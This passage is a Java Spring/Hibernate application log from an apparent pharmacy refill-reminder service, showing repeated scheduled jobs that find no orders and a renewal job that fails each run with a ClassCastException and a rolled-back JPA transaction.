org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at 